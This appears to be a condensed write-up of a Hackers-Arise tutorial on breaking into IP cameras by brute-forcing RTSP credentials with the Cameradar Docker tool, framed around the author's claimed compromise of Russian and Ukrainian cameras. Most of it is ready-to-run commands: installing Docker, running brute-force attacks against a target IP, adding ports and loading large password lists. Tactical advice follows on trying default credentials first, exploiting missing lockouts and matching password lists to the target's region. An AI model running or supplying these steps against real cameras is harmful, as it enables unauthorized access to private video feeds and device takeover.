IP Camera Hacking: Hacking IP Cameras with Cameradar

What it is

Cameradar is a Dockerized RTSP credential brute-forcer (github.com/Ullaakut/cameradar), run via ullaakut/cameradar image against a target camera's IP. The page is Hackers-Arise's walkthrough of the exact commands, framed around the author's claimed use of this tool to compromise Russian/Ukrainian IP cameras during the war.

How it works

Cameradar scans default RTSP ports (554, 5554, 8554) for a stream, then brute-forces credentials against it using a built-in small username/password list. Custom lists can be swapped in via a mounted volume and a -c flag pointing to a JSON-formatted dictionary file (text lists must first be converted to JSON, e.g. via an online txt-to-json converter).

Preconditions / Affected

Target must expose an RTSP service (most IP cameras do, even those primarily using ONVIF/PSIA, which fall back to RTSP). Cameras using proprietary/non-RTSP protocols are explicitly stated as not exploitable by this tool. Requires Docker installed and running on the attacking host.

What to do

sudo apt install docker
sudo systemctl start docker
sudo git clone https://github.com/Ullaakut/cameradar

# basic brute-force against default RTSP ports
sudo docker run ullaakut/cameradar -t 192.168.1.101

# add a non-default port
sudo docker run ullaakut/cameradar -t 192.168.1.101 -p 9554

# use a custom JSON password list (e.g. SecLists)
sudo docker run ullaakut/cameradar \
  -v /usr/share/seclists/Passwords/Common-Credentials:/tmp/dictionaries \
  -c "tmp/dictionaries/10-million-password-list-top-1000000.json" \
  -t 192.168.1.101

Author's stated strategy: try default credentials first (cross-referenced against a separate default-credentials list), then escalate to weak-password brute-forcing with Cameradar, and match password-list language/locale to the target's region for better hit rate.

Caveats

The page notes RTSP services rarely implement lockout/rate-limiting on failed attempts, unlike most other remote-login brute-force targets — this is stated as the reason brute-forcing is "easier" here, not an independently verified claim.